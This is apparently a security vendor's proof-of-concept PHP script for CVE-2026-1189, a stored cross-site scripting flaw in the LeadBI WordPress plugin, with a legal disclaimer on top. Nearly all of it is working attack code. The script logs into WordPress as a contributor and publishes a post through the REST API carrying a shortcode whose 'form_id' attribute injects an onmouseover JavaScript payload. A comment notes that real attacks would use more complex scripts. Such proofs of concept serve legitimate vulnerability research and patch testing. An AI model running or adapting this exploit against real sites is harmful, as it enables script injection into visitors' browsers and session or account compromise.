CVE-2026-1189: LeadBI Plugin for WordPress <= 1.7 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'form_id' Shortcode Attribute (leadbi)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1189 - LeadBI Plugin for WordPress <= 1.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'form_id' Shortcode Attribute

<?php
/**
 * Proof of Concept for CVE-2026-1189.
 * Assumptions:
 * 1. The target site has the LeadBI plugin (<= v1.7) installed.
 * 2. We have valid Contributor-level credentials.
 * 3. The plugin's 'leadbi_form' shortcode is functional.
 * 4. The vulnerability is in the unsanitized output of the 'form_id' attribute.
 * This script simulates an attacker adding a malicious shortcode to a post.
 */

$target_url = 'https://vulnerable-site.com'; // CHANGE THIS
$username = 'contributor_user'; // CHANGE THIS
$password = 'contributor_pass'; // CHANGE THIS

// Payload: XSS via the 'form_id' shortcode attribute.
// This payload uses a simple alert for demonstration. Real attacks would use more complex JavaScript.
$malicious_shortcode = '[leadbi_form form_id="1 onmouseover=alert(`XSS: `+document.domain) x="]';
$post_title = 'Test Post with XSS';
$post_content = 'This post contains a malicious LeadBI shortcode. ' . $malicious_shortcode;

// Step 1: Authenticate to WordPress and obtain a nonce for creating a post.
$login_url = $target_url . '/wp-login.php';
$admin_ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Create a cURL handle for reuse.
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // For testing only

// Perform login.
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
$login_fields = http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_fields);
$response = curl_exec($ch);

// Check login success by looking for a dashboard redirect or absence of login form.
if (strpos($response, 'Dashboard') === false && strpos($response, 'wp-admin') === false) {
    die('Login failed. Check credentials.');
}

// Step 2: Fetch a nonce for creating a new post.
// Contributor users use the post editor via admin-ajax or the REST API.
// We'll use the WordPress REST API to create a post as it's standard.
$rest_url = $target_url . '/wp-json/wp/v2/posts';

// First, get a nonce/authentication cookie for the REST API.
// The login already set cookies. We need to fetch the REST API nonce (wp_rest) from the admin.
// For simplicity, we attempt a direct POST with cookies. WordPress REST API may require an authentication plugin or application passwords for contributors.
// This PoC assumes standard cookie authentication is enabled for the REST API (logged-in users).

curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_POST, true);
$post_data = json_encode([
    'title' => $post_title,
    'content' => $post_content,
    'status' => 'publish' // Contributor can publish if they have permission, otherwise use 'pending'.
]);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'Accept: application/json'
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 201) {
    $resp_data = json_decode($response, true);
    echo 'Post created successfully. Post ID: ' . $resp_data['id'] . "n";
    echo 'View post at: ' . $resp_data['link'] . "n";
    echo 'The shortcode payload is: ' . htmlspecialchars($malicious_shortcode) . "n";
    echo 'When a user views this post and interacts with the LeadBI form element, the XSS payload may execute.';
} else {
    echo 'Failed to create post. HTTP Code: ' . $http_code . "n";
    echo 'Response: ' . $response . "n";
    echo 'Note: Contributor may need to use "status": "pending" and have an editor approve.';
}

?>